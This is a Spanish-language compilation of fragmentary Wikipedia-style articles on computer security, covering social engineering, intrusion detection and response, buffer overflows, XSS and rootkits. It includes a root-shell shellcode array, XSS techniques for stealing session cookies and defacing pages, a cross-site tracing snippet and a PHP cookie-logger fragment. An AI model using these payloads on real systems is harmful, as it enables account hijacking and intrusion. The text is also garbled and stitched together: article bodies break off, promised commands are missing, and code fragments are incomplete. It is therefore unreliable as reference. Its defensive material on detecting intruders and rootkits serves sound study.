Ataque de Fuerza Bruta
Ataque de Fuerza Bruta
Ataque de Fuerza Bruta
De Wikipedia
Los ataques por fuerza bruta, dado que utilizan el método de prueba y error, son muy
costosos en tiempo computacional.
Bluejacking
De Wikipedia
Bluejacking es bastante inofensivo, pero como mucha gente no sabe qué ocurre piensan
que su teléfono móvil tiene un virus o necesita ser exorcizado. Normalmente un
bluejacker sólo enviará un mensaje de texto, aunque en los modelos de teléfonos más
recientes es posible enviar también imágenes y sonido.
Actualmente hay varios programas utilizados para esta practica, aunque el que más
utilizado es el mobiluck
Quizá el ataque más simple que aún es efectivo sea engañar a un usuario llevándolo a
pensar que uno es un administrador del sistema y solicitando una contraseña para varios
propósitos. Los usuarios de sistemas de Internet frecuentemente reciben mensajes que
solicitan contraseñas o información de tarjeta de crédito, con el motivo de "crear una
cuenta", "reactivar una configuración", u otra operación benigna; a este tipo de ataques
se los llama phishing (pesca). Los usuarios de estos sistemas deberían ser advertidos
temprana y frecuentemente para que no divulguen contraseñas u otra información
sensible a personas que dicen ser administradores. En realidad, los administradores de
sistemas informáticos raramente (o nunca) necesitan saber la contraseña de los usuarios
para para llevar a cabo sus tareas. Sin embargo incluso este tipo ataque podría no ser
necesario — en una encuesta realizada por la empresa InfoSecurity, el 90% de los
empleados oficinistas reveló sus contraseñas a cambio de un bolígrafo barato.
Tal vez el ataque de ingeniería social a mayor escala de años recientes sea el que rodea
a Messenger Plus!; para recaudar dinero con el software, su autor, Patchou, incluyó un
adware de C2Media dentro del programa. Mientras que el acuerdo con el sponsor brinda
la opción de instalar Messenger PLus! sin el adware, la vasta mayoría de los usuarios
simplemente cliquean su aceptación del acuerdo, y por lo tanto instalan el adware
innecesariamente.
La ingeniería social también se aplica al acto de manipulación cara a cara para obtener
acceso a los sistemas computacionales.
Uno de los ingenieros sociales más famosos de los últimos tiempos es Kevin Mitnick.
[editar]
Referencias
• John Leyden, 18 de abril de 2003. Office
workers give away passwords for a cheap pen
(Oficinistas revelan contraseñas) (en inglés). The
Register.
• Kevin D. Mitnick, William L. Simon, Steve
Wozniak. The Art of Deception: Controlling the
Human Element of Security. John Wiley & Sons,
2002. ISBN 0471237124.
• SirRoss, 19 de enero, 2005. A Guide to
Social Engineering, Volume 1 A Guide to Social
Engineering, Volume 2. AstaLavista.
[editar]
Enlaces externos
• Social Engineering Fundamentals
Obtenido de "http://es.wikipedia.org/wiki/Ingenier%C3%ADa_social_
%28seguridad_inform%C3%A1tica%29"
Detección de intrusos
Existen numerosas medidas de seguridad para proteger los recursos informáticos de una
empresa, pero aunque se sigan todas las recomendaciones de los expertos, no estaremos
libres de posibles ataques con éxito. Esto se debe a que conseguir un sistema
virtualmente invulnerable es sumamente costoso, además de que las medidas de control
reducirían la productividad de la empresa Dentro de las soluciones tecnológicas que en
la actualidad están disponibles para reforzar la seguridad de una red, los firewalls son
muy populares. Un firewall es un sistema encargado del cumplimiento de las políticas
de control de acceso a la red, lo cual se hace a través de reglas. Un firewall actúa como
guardia perimetral de una red: protege una red de ataques que provengan del exterior de
ésta. Pero el escenario se puede complicar de la siguiente forma: 1. Un atacante puede
lograr pasar el firewall, dejando la red a su merced. 2. Un firewall protege de los
accesos no autorizadas hacia la red interna, pero no protege a las máquinas ubicadas en
la red perimetral como servidores web, servidores de correo, servidores FTP, en otras
palabras, a las bases funcionales de Internet. 3. Un firewall no protege contra ataques
desde adentro.
En estos casos lo que nos queda detectar el ataque o la intrusión lo antes posible para
que cause el menor daño en el sistema. Antes de continuar vamos a definir qué se
entiende normalmente por intrusión. Normalmente un intruso intenta: " Acceder a una
determinada información. " Manipular cierta información. " Hacer que el sistema se no
funcione de forma segura o inutilizarlo.
Los primeros no son deseables, porque dan una falsa sensación de seguridad del sistema
y el intruso en este caso puede operar libremente en el sistema. Los falsos positivos se
deben de minimizar, en caso contrario lo que puede pasar es que se ignoren los avisos
del sistema de seguridad, incluso cuando sean acertados. Los detectores de intrusiones
anómalas requieren mucho gasto computacional, porque se siguen normalmente varias
métricas para determinar cuánto se aleja el usuario de lo que se considera
comportamiento normal. Hoy día existen en el mercado una buena cantidad de
productos conocidos como SDI (Sistemas de Detección de Intrusos) o en inglés IDS
(Intrusión Detection System). Estos sistemas basan su funcionamiento en la recolección
y análisis de información de diferentes fuentes, que luego utilizan para determinar la
posible existencia de un ataque o penetración de intrusos. En caso de que exista la
suficiente certeza de la detección de un incidente, el SDI tiene como función principal
alertar al administrador o personal de seguridad, para que tome acciones al respecto.
Otras implementación más complejas son capaces de ir más allá de la notificación de un
posible ataque, es decir pueden ejecutar acciones automáticas que impidan el desarrollo
de éste.
Clasificación de los SDI Los SDI pueden clasificarse en base a varios aspectos: método
de detección, tipo de monitoreo y forma de recolección y análisis de la información.
Según el método de detección, los hay de detección de mal uso y detección de
anomalías. El modelo de detección de mal uso consiste en observar cualquier proceso
que intente explotar los puntos débiles de un sistema en específico. Las diferentes
acciones, que integran el mencionado proceso, comúnmente se denominan patrones o
firmas del ataque. Estas firmas pueden ser simples, como cadenas de caracteres,
estructuras de memoria o bits, pero también pueden ser más complejas como vectores ó
expresiones matemáticas. Una ventaja de este método es que permite centralizar las
labores de detección en el conjunto de firmas que posee el SDI, minimizando así, la
carga de procesamiento del sistema. Muchos productos comerciales utilizan este
enfoque e inclusive periódicamente proporcionan actualizaciones de éstas firmas. En
cambio, el modelo de detección de anomalías se basa en constantemente monitorear el
sistema para así detectar cualquier cambio en los patrones de utilización o el
comportamiento del mismo. Si algunos de los parámetros monitoreados sale de su
regularidad, el sistema generará una alarma que avisará al administrador de la red sobre
la detección de una anomalía. Este tipo de detección es bastante compleja, debido a que
la cuantificación de los parámetros a observar no es sencilla y a raíz de esto, se pueden
presentar los siguientes inconveniente: " Pueden generarse falsas alarmas si el ambiente
cambia repentinamente, por ejemplo, cambio en el horario de trabajo. " Un atacante
puede ir cambiando lentamente su comportamiento para así engañar al sistema.
Los inconvenientes antes mencionados pueden ser controlados mediante una
implementación robusta y minuciosa.
Según el tipo de monitoreo, hay SDI con detección orientada al host o detección
orientada a la red. El modelo orientado al host se basa en el monitoreo y análisis de
información, que refleja el estado del host donde éste reside. La mayoría de la
información que este tipo de sistema recopila es obtenida a través del sistema operativo
del host. Esto último causa complicaciones debido a que la información que se procesa
no contiene registros del comportamiento, de bajo nivel, de la red. Los SDI que utilizan
el modelo orientado a red, fundamentan su monitoreo en información recolectada de la
red. Generalmente, ésta información es capturada mediante mecanismos de "sniffing".
El "sniffing" consiste en habilitar la interfaz de red en modo promiscuo para que así
capture todos los paquetes que reciba, incluso aquellos que no le han sido destinados.
En base al mecanismo antes expuesto, se pueden definir patrones o firmas de ataques,
según la estructura, información y ocurrencia de los paquetes.
2. Pasos a seguir para detectar a un intruso Lo primero que debemos hacer es seguir una
serie de pasos los cuales nos ayudarén a descubrir si realmente ha entrado un intruso, ya
que en muchas ocasiones pensamos que ha entrado alguien, pero no es cierto. Por eso,
ante todo calma; esto es lo más importante para un buen administrador. Realmente en
muchas ocasiones es fácil detectar a un intruso en ambiente Unix, ya que suelen seguir
un patrón detectable, el cual podría ser el mostrado en la figura. Este esquema
representa básicamente los pasos que sigue de un intruso: Primero entra al sistema, y si
sólo tiene acceso como usuario, explotará alguna debilidad o falla del sistema para así
obtener ID 0 (o lo que es lo mismo, privilegios de root). En caso de entrar como root u
obtenerlo de alguna otra manera, se dedicará a controlar el sistema, dejando algún
mecanismo para volver cuando quiera. Seguramente copiará el archivo /etc/passwd y
el /etc/shadow (en caso de que el sistema use "shadow"), luego le dará rienda suelta a su
imaginación, como por ejemplo, instalar un sniffer, troyanos, leer mails ajenos, etc. Y
en caso de ser un pirata malicioso puede causar desastres en el sistema, como sería
modificar páginas web, borrar archivos o mails, producir un DoS (Denial of Service),
cambiar passwords de usuarios legítimos, etc.
Fig. 1
4. Revisar los archivos binarios del sistema para comprobar que no han sido sustituidos
por un troyano, como por ejemplo los programas 'su', 'login', 'telnet' y otros programas
vitales del sistema. (Existen varias herramientas conocidas como 'RootKit' que permite
a un pirata cambiar los binarios del sistema por troyanos que son copias exactas de los
originales). Lo recomendado es comparar con las copias de seguridad aunque puede que
las copias de seguridad también hayan sido sustituidas por un troyano. 5. Examinar
todos los archivos que son ejecutados por 'cron' y 'at'. Ya que algunos piratas depositan
puertas traseras que le permiten volver al sistema aunque los hayamos echado del
sistema. Asegurarse que todos los archivos son nuestros y no tienen permiso de
escritura. 6. Examinar el archivo /etc/inetd.conf en busca de cambios, en especial
aquellas entradas que ejecuten un shell (por ejemplo: /bin/sh o /bin/csh) y comprobar
que todos los programas son legítimos del sistema y no troyanos. 7. Examinar los
archivos del sistema y de configuración en busca de alteraciones. En particular, buscar
entradas con el signo '+' o 'host names' no apropiados en archivos como /etc/hosts.equiv,
/etc/hosts.lpd y en todos los archivos .rhost del sistema, con especial interés los de 'root',
'uucp', 'ftp' y otras cuentas del sistema. Estos archivos no deberían tener atributo de
escritura. 8. Examinar cuidadosamente todos los computadores de nuestra red local en
busca de indicios que nuestra red ha sido comprometida. En particular, aquellos
sistemas que compartan NIS+ o NFS, o aquellos sistemas listados en el /etc/hosts.equiv.
Logícamente también revisar los sistemas informéticos que los usuarios comparten
mediante el acceso del .rhost. 9. Examinar el archivo /etc/passwd, en busca de
alteraciones en las cuentas de los usuarios o la creación de cuentas nuevas,
especialmente aquellas cuentas con ID 0, las que no tienen password, etc.
Estos nueve puntos son los pasos a seguir recomendados por el CERT, los cuales están
muy bien, pero se quedan un poco cortos de soluciones prácticas para el administrador.
Para ello nos vamos a basar en un excelente trabajo de un grupo de Hackers conocidos
como Technotronic (http://www.technotronic.com), los cuales se basan en el mismo
documento pero explicando los métodos de los piratas y como combatirlos. Se trata de
lo siguiente:
Los archivos Log: " messages: Este archivo contiene bastante información, por lo que
debemos buscar sucesos poco usuales. " xferlog: Si el sistema comprometido tiene
servicio FTP, este archivo contiene la bitácora de todos los procesos del FTP. Podemos
examinar qué tipo de herramientas ha subido el pirata y qué archivos ha bajado de
nuestro servidor. " utmp: Este archivo contiene información en binario de todos los
usuarios conectados al sistema en el momento. Por lo que puede ser muy útil para
determinar quién esta conectado al sistema en este momento. Para ello ejecutaremos la
orden 'who' o 'w'. " wtmp: Cada vez que un usuario entra al servidor y sale del mismo,
la máquina modifica este archivo. Al igual que el anterior, este archivo está en binario,
por lo que tendremos que usar alguna herramienta especial para ver el contenido de este
archivo. El mismo contiene la información en formato: usuario, hora de conexión, e IP
origen del usuario, por lo que podemos averiguar de dónde provino el pirata. Pero
aunque contemos con esta información, puede que haya sido falseada por el pirata
utilizando alguna técnica para ocultar su IP original o haya borrado su entrada. " secure:
Algunos sistemas Unix loggean mensajes en archivo secure, ya que utilizan algún
software de seguridad para ello, como el TCP Wrapper.
Muchos piratas intentaran borrar sus huellas utilizando unos programas conocidos como
'Zapper's' o 'Zap'. Los más populares, debido a que están ampliamente disponibles por
Internet, son los siguientes: " marry.c " zap.c " zap2.c " remove.c " cloak.c
Por supuesto contamos con mecanismos para detectar este tipo de programas, lo cual se
explica en la sección de herramientas. Debemos buscar cuidadosamente archivos
SETUID o SETGID (especialmente aquellos archivos SETUID de root). Para ello
podemos utilizar, otra vez, la orden 'find' y escribimos lo siguiente:
incluso
1. ncheck -s /dev/rsd0g
Esta última orden 'ncheck' nos permitirá buscar archivos SETUID por las particiones.
Debemos buscar troyanos en nuestros archivos binarios, ya que suele ser una de las
tareas principales de un pirata cuando ha comprometido la seguridad de un servidor.
Una lista no exhaustiva de posibles binarios que un pirata puede sustituir, es la
siguiente: login " su " telnet " netstat " ifconfig " ls " find " du " df " libc " sync
Al igual que antes, tenemos varias utilidades ampliamente disponibles para detectar
estos troyanos, pero por otro lado, los piratas también tienen ampliamente disponible
estos paquetes de troyanos, conocidos como 'RootKit', como ya mencionamos antes.
Otras de las principales tareas de un pirata consiste en la utilización de sniffers, para
capturar información confidencial. Los más usados son los siguientes: " linsniff666.c "
esniff.c " solsniff.c " sunsniff.c " sniffit
Ahora nos enfocaremos en la parte de los passwords. Un pirata intentará por todos los
medios obtener el archivo de passwords, para luego usar un programa especial que le
permitirá averiguar los passwords de los usuarios. Los principales 'crackeadores' son: "
Crack " John The Ripper 1.5 " Cracker Jack " Hades
Ya hemos visto diferentes técnicas que emplearan los piratas contra nuestro sistema, por
lo que ahora estamos mejor preparados para enfrentarnos a ellos. A continuación nos
enfocaremos de forma más practica a los diferentes pasos a seguir cuando hemos
detectado un pirata. Si hemos pillado al intruso en el momento, tenemos varias
opciones:
A) Hablar con él, usando la orden 'talk', aunque debemos tener en cuenta que puede
contestar de forma amistosa (ayudandonos en relación a la seguridad del sistema) o
agresiva (borrando el sistema para no dejar rastro).
B) Desconectarle del sistema, usando la orden 'kill', pero para evitarnos que vuelva a
entrar, antes de usar 'kill', usaremos la orden 'passwd' para cambiar el password de la
cuenta por el cual el pirata entró. Por ejemplo, podemos ejecutar las siguientes órdenes:
1. ps -aux
USER PID %CPU %MEN VSIZE RSIZE TT STAT TIME COMMAND ROOT 1434
20.1 1.4 968K 224K 01 R 0:00 ps aux intruso 147 1.1 1.9 1.02K 304k p3 S 0:07 ~ (csh)
intruso 321 10.0 8.7 104k 104k P3 S 0:09 cat /etc/passwd intruso 339 8.0 3.7 2.05K
456k P3 S 0:09 crack
1. passwd intruso
Changing password for intruso New password: noentrasmas Retype new password:
noentrasmas
1. finger @intruso.es
1. finger [email protected]
F) Ahora que tenemos bastante información del atacante, lo mejor sería desconectar
nuestro servidor de Internet y dedicarnos unos días a repasar cuidadosamente lo
sucedido. Además, si nadie accede al servidor durante unos días, podremos trabajar
mejor y más rápido.
G) Tendremos que hacer una copia de seguridad, por lo que ejecutaremos la siguiente
orden:
1. dd if=/dev/sda of=/dev/sdb
En caso de duda de cómo usar la orden 'dd', lo mejor sería recurrir a la orden 'man'.
H) Tener a mano un block de notas y un lápiz, para escribir todo lo que nos parezca
importante, así como todos los pasos que estamos realizando en el sistema
comprometido.
I) Ahora sólo nos queda realizar un exhaustivo análisis mediante los pasos
anteriormente descritos.
Ya a estas alturas conocemos los peligros y pasos a seguir para recuperar el control en
nuestro sistema, así cómo echar al pirata. Ahora se muestra un lista más generalizada de
los puntos que hay que mirar con detalle. " Creación de cuentas nuevas o alteración de
algunas existentes. " Excesivo consumo de memoria o disco duro. " Directorios o
archivos sospechosos. " Alteración en la configuración del sistema. " Procesos
sospechosos. " Conexiones de servidores poco usuales. " Reconfiguración de los
módems. " Serie de repeticiones de conexión al mismo puerto. " Conexión de usuarios
en horas o días poco usuales.
3. Diversas utilidades para la tarea Ahora nos dedicaremos a explicar las diferentes
herramientas que están disponibles en el cyberespacio. Lo mejor es que casi todas son
'freeware' (gratis), por lo que no existe excusa alguna para no usarlas. Además usando
habitualmente estas herramientas, mantendremos nuestro sistema seguro demostrando
lo bueno que somos administrando el servidor. Las herramientas que se describen a lo
largo de este apartado son anti-zapper's, detectores de sniffers, detectores de troyanos,
así como diversas herramientas de análisis, e incluso algunas herramientas que también
utilizan los piratas, para nuestro propio beneficio. Debido a la gran cantidad de
herramientas disponibles (no he puesto todas las que existen, debido a que es
imposible), no se ha incluido la utilización de las mismas, ya que este documento sería
muy largo, por lo que se incluye la dirección en Internet donde encontrarlas y así poder
familiarizarse con esas herramientas.
A) Detectores de Sniffers. " Podemos usar la orden 'netstat', pero no es 100% confiable.
" promisc.c: Es un programa escrito en lenguaje C, el cual nos ayuda a detectar un
sniffer en nuestra red. (promisc.c). " cpm
(ftp://coast.cs.purdue.edu/pub/tools/unix/cpm/cpm.1.2.tar.gz). " ifstatus
(ftp://coast.cs.purdue.edu/pub/tools/unix/ifstatus/ifstatus.tar.Z). " NePED: Es un
detector de sniffers. (ftp://apostols.org/ AposTools/snapshots/neped/).
por lo que fácilmente podemos escribir un pequeño shell script que busque archivos de
sniffers:
% grep PATH: $sniffer_log_file | awk '{print $4}' | \ awk -F\( '{print $1}'| sort -u
B) Detectores de troyanos. " Podemos usar la orden 'sum' pero tampoco es 100%
confiable. " También podemos usar la orden 'cmp', pero lo mismo que la orden anterior.
" El popular, y más aconsejable de usar, es el programa de verificación MD5. " Otro,
también bastante utilizado, es Tripwire. (Tripwire).
4. Bibliografía
Escamilla, Terry. Intrusion Detection: Network Security Beyond the Firewall. John
Wiley & Sons, Inc. 1998.
Klander, Lars. Hacker Proof, The Ultimate Guide to Network Security. Jamsa Press.
1997.
Spafford, Gene; Garfinkel, Simson. Practical Unix & Internet Security, 2nd Edition.
0'Reilly & Associates, Inc. 1996.
Sys Admin. Unix Security, Essential Reference Series. R&D Books. 1997.
Technotronic. (http://www.technotronic.com).
Rhino9. (http://rhino9.technotronic.com).
Mounji. PhD Thesis. Computer Science Institute, University of Namur, Belgium, Sept
1997. (Languages and Tools for Rule-Based Distributed Intrusion Detection).
Desbordamiento de búfer
De Wikipedia
En algunas ocasiones eso puede suponer la posibilidad de alterar el flujo del programa
pudiendo hacer que éste realice operaciones no previstas. Esto es posible dado que en
las arquitecturas comunes de ordenadores, la memoria no tiene separación entre la
dedicada a datos y a programa.
[editar]
Vease tambien
• HoF
• FSoF
• Exploit
• Bug
Shellcode
De Wikipedia
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb0\x46" /* movl $0x46,%al */
"\xcd\x80" /* int $0x80 */
"\x50" /* pushl %eax */
"\x68""/ash" /* pushl $0x6873612f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
Las shellcodes deben ser cortas. Las más cortas conocidas hoy día son las de 22 bytes.
Exploit
De Wikipedia
• Vulnerabilidades de desbordamiento de
buffer.
• Vulnerabilidades de condición de carrera
(race condition).
• Vulnerabilidades de error de formato de
cadena (format string bugs).
• Vulnerabilidades de Cross Site Scripting
(XSS).
• Vulnerabilidades de Inyección SQL.
• Vulnerabilidades de Inyección de
Caracteres (CRLF).
• Vulnerabilidades de denegación del servicio
• Vulnerabilidades de Inyección múltiple
HTML (Multiple HTML Injection).
• Vulnerabilidades de ventanas enganosas o
mistificación de ventanas (Window Spoofing).
Condición de carrera
De Wikipedia
Obtenido de "http://es.wikipedia.org/wiki/Condici%C3%B3n_de_carrera"
Introduccion
Es el ataque basado en la explotacion de vulnerabilidades del sistema de validación de
HTML incrustado. El problema es que normalmente no se valida correctamente. Esta
vulnerabilidad puede estar presente de forma directa (foros, mensajes de error) o
indirecta (redirecciones, framesets). Cada una se trata de forma diferente.
Directa
Este tipo de XSS es el que normalmente es censurado; así que es muy poco común que
puedas usar tags como <script> o <iframe>
Indirecta
Esta es un tipo de vulnerabilidad, muy común y muy poco explotada. Consiste en
modificar valores que la aplicacion web utiliza para pasar variables entre dos páginas,
sin usar sesiones.
[editar]
Indirecta
Esta sucede cuando hay un mensaje o una ruta en la URL del navegador o en la cookie.
Para saber el contenido de una cookie, sin usar ningun tipo de iecv o addin para tu
navegador, puedes usar el siguiente script. Sólo colócalo en la barra de direcciones, y
presiona Enter. javascript:void(document.cookie=prompt("Modifica el valor de la
cookie",document.cookie).split(";"));
Una vez dentro se puede modificar la cookie a tu antojo. Si pones cancelar la cookie se
borrará.
¿Qué podemos ver con este ejemplo? Que podemos meter comandos javascript solo
modificando una URL.
[editar]
Usando FrameSets
Regresemos al ejemplo del frameset, que según la página que coloques te crea un frame
a esa página. ¿Qué pasara si pones en esa URL?
Hasta ahí llegan los newbies. Pero vamos a ponernos en la piel de un experto. Se trata
de colocar un script que tome tu cookie, y mande un mp al administrador, o incluso, que
borre todos los mensajes de un foro.
El robo de cookies es lo más básico, y tiene como objetivo robar la cookie. ¿Y eso de
qué sirve? Tengo el PHPSESSID, y si el usuario ciera sesión no sirve de nada.
Cierto, pero con el uso de la librería cURL un usuario malintencionado, podría al recibir
tu cookie, entrar a la página, y dejarla en caché, para que el atacante cuando quiera,
pueda entrar como tú, sin siquiera necesitar tu contraseña.
Otro uso común para estas vulnerabilidades es lograr hacer phishing; o colocar un
exploit.
Quiere ello decir que tú ves la barra de direcciones, y ves que estás en una página, pero
realmente estás en otra. Introduces tu contraseña y la fastidiaste.
Lo peor son los sitios de descarga, que colocan en la misma URL el sitio de objetivo.
Esas páginas web son vulnerables a ataques XSS indirectos. O sea que un intruso puede
colocar una imagen con enlace al sitio malicioso, y se ejecuta, sin que el usuario lo sepa.
[editar]
Mensaje personalizado
La técnica sólo funciona con imágenes: error.php?error=Usuario%20Invalido
Un <script> que cree otra sesión bajo otro usuario y tu sesion actual la mande al
atacante (es lo que explicaba de cURL hace un momento), puede causar estragos.
Este codigo (muy peligroso) borra todo el contenido de la página en cuestión, y escribe
otra cosa:
<script>
document.documentElement.innerHTML="DEFACED";
</script>
[editar]
Directa
Funciona localizando puntos débiles en la programación de los filtros. Así que si, por
ejemplo, logran quitar los <iframe>, <script>, el atacante siempre puede poner un <div>
malicioso, o incluso un <u> o <s> . Tags que casi siempre están permitidos.
[editar]
Usar Style es increíblemente fácil de usar, y lo malo es que muchos filtros son
vulnerables. eval(this.fu) y en el div, se puede agregar un campo "fu" con el código
[editar]
Ajax
Este es un tipo de XSS no tan conocido, pero peligroso. Se basa en usar cualquier tipo
de vulnerabilidad para introducir un objeto XMLHTTP y desde ahí enviar contenido
POST, GET, sin conocimeinto del usuario
[editar]
xmlhttp.open("TRACE","./",false);
xmlhttp.send();
str1=xmlhttp.responseText;
str2=splitString[1];
str3=str2.split("Cache");
alert(str3);
[editar]
$archivo = fopen('log2.htm','a');
$cookie = $_GET['c'];
$usuario = $_GET['id'];
$re = $HTTPREFERRER;
fclose($archivo);
?>
[editar]
Links
XSS Cheat Sheet
XSS FAQ
Obtenido de "http://es.wikipedia.org/wiki/XSS"
Rootkit
De Wikipedia
[editar]
Objetivos de un rootkit
Un rootkit oculta inicios de sesión (logins), procesos, archivos y registros (logs). Puede
incluir software para interceptar datos procedentes de terminales, conexiones de red e
incluso el teclado (keylogger). Los rootkits son habitualmente considerados como
troyanos.
[editar]
Los rootkits se utilizan también para usar el sistema atacado como "base de
operaciones", es decir, usarlo a su vez para lanzar ataques contra otros equipos. De este
modo puede parecer que es el sistema inflitrado el que lanza los ataques y no el intruso
externo. Este tipo de ataques podrían ser de denegación de servicio (DoS), ataques
mediante IRC o mediante correo electrónico (spam).
[editar]
Tipos de rootkits
[editar]
Tipos básicos
Los rootkits se pueden clasificar en dos grupos: los que van integrados en el núcleo y
los que funcionan a nivel de aplicación. Los que actúan desde el kernel añaden o
modifican una parte del código de dicho núcleo para ocultar el backdoor. Normalmente
este procedimiento se complementa añadiendo nuevo código al kernel, ya sea mediante
un controlador (driver) o un módulo, como los módulos del kernel de Linux o los
dispositivos del sistema de Windows. Estos rootkits suelen parchear las llamadas al
sistema con versiones que esconden información sobre el intruso. Son los más
peligrosos, ya que su detección puede ser muy complicada.
Los rootkits que actúan como aplicaciones pueden reemplazar los archivos ejecutables
originales con versiones crackeadas que contengan algún troyano, o también pueden
modificar el comportamiento de las aplicaciones existentes usando hacks, parches,
cógido inyectado, etc.
[editar]
Ejemplos
• FU Rootkit
• SuckIT
• Adore
• T0rn
• Ambient's Rootkit (ARK)
• Hacker Defender
• First 4 Internet XCP (Extended Copy
Protection) DRM
[editar]
Detección de rootkits
Hay limitaciones inherentes a cualquier programa que intente detectar rootkits mientras
se estén ejecutando en el sistema sospechoso. Los rootkits son aplicaciones que
modifican muchas de las herramientas y librerías de las cuales depende el sistema.
Algunos rootkits modifican el propio kernel (a través de módulos y otros métodos como
se indica más arriba). El principal problema de la detección de rootkits consiste en que
el sistema operativo en ejecución no es fiable globalmente. En otras palabras, algunas
acciones como pedir la lista de los procesos en ejecución o listar los ficheros de un
directorio no son fiables al no comportarse como deberían.
El mejor método para detectar un rootkit es apagar el sistema que se considere infectado
y revisar o salvar los datos arrancando desde un medio alternativo, como un CD-ROM
de rescate o un PenDrive. Un rootkit inactivo no puede ocultar su presencia. Los
programas antivirus mejor preparados suelen identificar a los rootkits que funcionan
mediante llamadas al sistema y peticiones de bajo nivel, las cuales deben quedar
intactas. Si hay alguna diferencia entre ellas, se puede afirmar la presencia de un rootkit.
Los rootkits intentan protegerse a sí mismos monitorizando los procesos activos y
suspendiendo su actividad hasta que el escaneo ha finalizado, de modo que el rootkit no
pueda ser identificado por un detector.
Hay varios programas disponibles para detectar rootkits. En los sistemas basados en
Unix, dos de las aplicaciones más populares son chkrootkit y rkhunter. Para Windows
está disponible un detector llamado Blacklight (gratuito para uso personal) en la web de
F-Secure. Otra aplicación de detección para Windows es Rootkit Revealer de
Sysinternals. Detecta todos los rootkits actuales comparando las funcionalidades del
sistema operativo original con las que se han detectado. Sin embargo, algunos rootkits
han empezado a añadir este programa a la lista de los cuales no deben esconderse. En
esencia, eliminan las diferencias entre los dos listados, de modo que el detector no los
encuentra. Pero algo tan simple como renombrar el fichero rootkitrevealer.exe hace que
el rootkit ya no sepa que se está enfrentando a un detector. Como se decía antes, será
una continua batalla entre los rootkits y los antivirus.
[editar]
Véase también
• Cracker
• Virus informático
• Seguridad informática
[editar]
Enlaces externos
• ROOTKIT.COM - comunidad de desarrollo
de rootkits
• Rootkits en el kernel de Linux
• Análisis del rootkit T0rn
• Rootkits para Windows y Linux y software
de detección(En alemán)
• Ejemplo de un rootkit eliminado como un
virus
• Anti-trojan.org: Información sobre troyanos
en rootkits y software de detección
• Strider GhostBuster Rootkit Detection
[editar]
Freeware
• www.antirootkit.com
(Windows/UNIX/Linux)
• chkrootkit (UNIX/Linux)
• rkhunter (UNIX/Linux)
• RootkitRevealer (Windows) está disponible
en Sysinternals y se actualiza continuamente
• klister es un grupo de herramientas en fase
preliminar
• flister programa para detectar archivos
ocultos por rootkits en Windows
• IceSword Aquí hay una revisión IceSword
--> 1. Introducción (español) IceSword --> 2.
Tutorial (español)
Shareware
Obtenido de "http://es.wikipedia.org/wiki/Rootkit"
Seguridad informática
De Wikipedia
Introducción
Podemos entender como seguridad una característica de cualquier sistema (informático
o no) que nos indica que ese sistema está libre de peligro, daño o riesgo. Se entiende
como peligro o daño todo aquello que pueda afectar su funcionamiento directo o los
resultados que se obtienen del mismo. Para la mayoría de los expertos el concepto de
seguridad en la informática es utópico porque no existe un sistema 100% seguro. Para
que un sistema se pueda definir como seguro debemos de dotar de tres características al
mismo:
• Integridad
• Confidencialidad
• Disponibilidad
[editar]
Aunque a simple vista se puede entender que un Riesgo y una Vulnerabilidad se podrían
englobar un mismo concepto, una definición más informal denota la diferencia entre
riesgo y vulnerabilidad, de modo que se debe la Vulnerabilidad está ligada a una
Amenaza y el Riesgo a un Impacto.
[editar]
Análisis de riesgos
El activo más importante que se posee es la información, y por lo tanto deben existir
técnicas que la aseguren, más allá de la seguridad física que se establezca sobre los
equipos en los cuales se almacena. Estas técnicas las brinda la seguridad lógica que
consiste en la aplicación de barreras y procedimientos que resguardan el acceso a los
datos y sólo permiten acceder a ellos a las personas autorizadas para hacerlo.
Existe un viejo dicho en la seguridad informática que dicta: "lo que no está permitido
debe estar prohibido" y esto es lo que debe hacer ésta seguridad lógica.
La seguridad informática debe ser estudiada para que no impida el trabajo de los
operadores en lo que les es necesario y que puedan utilizar el sistema informático con
toda confianza. Por eso en lo referente a elaborar una política de seguridad, conviene:
Los derechos de acceso de los operadores deben ser definidos por los responsables
jerárquicos y no por los administradores informáticos, los cuales tienen que conseguir
que los recursos y derechos de acceso sean coherentes con la política de seguridad
definida. Además, como el administrador suele ser el único en conocer perfectamente el
sistema, tiene que derivar a la directiva cualquier problema e información relevante
sobre la seguridad, y eventualmente aconsejar estrategias a poner en marcha, así como
ser el punto de entrada de la comunicación a los trabajadores sobre problemas y
recomendaciones en término de seguridad.
[editar]
Las amenazas
Una vez que la programación y el funcionamiento de un dispositivo de almacenamiento
(o transmisión) de la información se consideran seguras, todavía deben ser tenidos en
cuenta los circunstancias "no informáticas" que pueden afectar a los datos, las cuales
son a menudo imprevisibles o inevitables, de modo que la única protección posible es la
redundancia (en el caso de los datos) y la descentralización -por ejemplo mediante
estructura de redes- (en el caso de las comunicaciones).
[editar]
[editar]
Consideraciones de software
Existe software que es famoso por la cantidad de agujeros de seguridad que introduce.
Se pueden buscar alternativas que proporcionen iguales funcionalidades pero
permitiendo una seguridad extra.
[editar]
Consideraciones de una red
Los puntos de entrada en la red son generalmente el correo, las páginas web y la entrada
de ficheros desde discos, o de ordenadores ajenos, como portátiles.
Mantener al máximo el número de recursos de red en sólo en modo lectura impide que
ordenadores infectados propagen virus. En el mismo sentido se pueden reducir los
permisos de los usuarios al mínimo.
Se pueden centralizar los datos de forma que detectores de virus en modo batch puedan
trabajar durante el tiempo inactivo de las máquinas.
[editar]
Obtenido de "http://es.wikipedia.org/wiki/Seguridad_inform%C3%A1tica"